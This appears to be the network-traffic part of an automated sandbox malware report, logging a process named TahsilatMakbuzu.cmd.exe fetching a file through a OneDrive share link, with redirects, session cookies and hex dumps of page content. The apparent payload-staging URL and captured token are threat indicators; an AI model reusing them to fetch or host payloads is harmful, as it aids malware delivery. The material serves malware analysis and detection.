2024-07-04 18:17:45 UTC	4166	IN	Data Raw: 2d 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 Data Ascii: -432F-971F-B5BCD4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:17:45 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49826	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:46 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:46 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: CH01PF88C842640 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: ii15q0KBW0aIltKwZvbhnA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 07A9DD819ABE4CC4AF89D7B0A26341AF Ref B: EWR311000108019 Ref C: 2024-07-04T18:17:46Z Date: Thu, 04 Jul 2024 18:17:46 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49827	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:46 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:47 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:lyQ8m1Wc3Ig=:DjavZp7Ys2YrJDqKWmx1raqGA0Y9nksrf4r0Stpm7l0=:F; domain=.live.com; path=/ Set-Cookie: xid=3495f473-89a5-415c-8e3e-e886984fb1ff&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:47 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODY3LCJuYmYiOjE3MjAxMTcwNjcsImdpdmVuX25hbWUiOiI2OCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY5MGQwNjc0Y2YzODQ3M2Y5OTdmNWUxN2JmMmNiYTEiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2N30.DLY1REUYWUi0fPOqUkIJq9tJMjQ4AW-yY4OTUzq8m8PHiRYvTtDoekA_9HbJ3nvLk8HzROaV6pO0Bdd9lI2oWjEdB0rwZvhnqV1xe7c6oSbDpw3rwYtz10JTp6GqZ7Avs6erRsuYaDa-ihjNseDcAxVtv7TKlze-Q5NEaiCXofKNacz8G4CnK9Xr6PaCKzeYKm32WBR3BDlOkzvqJZDt5gLq1VTBkXB3b-VfWcpGmRuGS7HcRqdBQ1I0oZbc7AgqcBJixbdvpkQ0nYEFrbBzEySkAu3RjsXX8LyCW0OLmjAUouwqzstu_M0BlmNOjckpLa8smuQFrXpY_zuzODhf0g; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:47 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-mt8zf X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C04536A7B27F4E8A89D32D9D49CE4F0D Ref B: BN3EDGE1115 Ref C: 2024-07-04T18:17:47Z Date: Thu, 04 Jul 2024 18:17:46 GMT Connection: close
2024-07-04 18:17:47 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49828	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:48 UTC	1280	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODY3LCJuYmYiOjE3MjAxMTcwNjcsImdpdmVuX25hbWUiOiI2OCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY5MGQwNjc0Y2YzODQ3M2Y5OTdmNWUxN2JmMmNiYTEiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2N30.DLY1REUYWUi0fPOqUkIJq9tJMjQ4AW-yY4OTUzq8m8PHiRYvTtDoekA_9HbJ3nvLk8HzROaV6pO0Bdd9lI2oWjEdB0rwZvhnqV1xe7c6oSbDpw3rwYtz10JTp6GqZ7Avs6erRsuYaDa-ihjNseDcAxVtv7TKlze-Q5NEaiCXofKNacz8G4CnK9Xr6PaCKzeYKm32WBR3BDlOkzvqJZDt5gLq1VTBkXB3b-VfWcpGmRuGS7HcRqdBQ1I0oZbc7AgqcBJixbdvpkQ0nYEFrbBzEySkAu3RjsXX8LyCW0OLmjAUouwqzstu_M0BlmNOjckpLa8smuQFrXpY_zuzODhf0g; E=P:lyQ8m1Wc3Ig=:DjavZp7Ys2YrJDqKWmx1raqGA0Y9nksrf4r0Stpm7l0=:F; xid=3495f473-89a5-415c-8e3e-e886984fb [TRUNCATED]
2024-07-04 18:17:48 UTC	1925	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,57306,0,145514,34 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 451239a1-d0a0-6000-0146-a78045636ca6 request-id: 451239a1-d0a0-6000-0146-a78045636ca6 MS-CV: oTkSRaDQAGABRqeARWNspg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 25 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2AA4D5CCB6964CB6BBD0ABB1D14A6FB0 Ref B: BN3EDGE0519 Ref C: 2024-07-04T18:17:48Z Date: Thu, 04 Jul 2024 18:17:48 GMT Connection: close
2024-07-04 18:17:48 UTC	2218	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 31 34 36 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c Data Ascii: 1461904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,
2024-07-04 18:17:48 UTC	4167	IN	Data Raw: 30 43 2d 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 Data Ascii: 0C-432F-971F-B5BCD4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76
2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 Data Ascii: ,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267
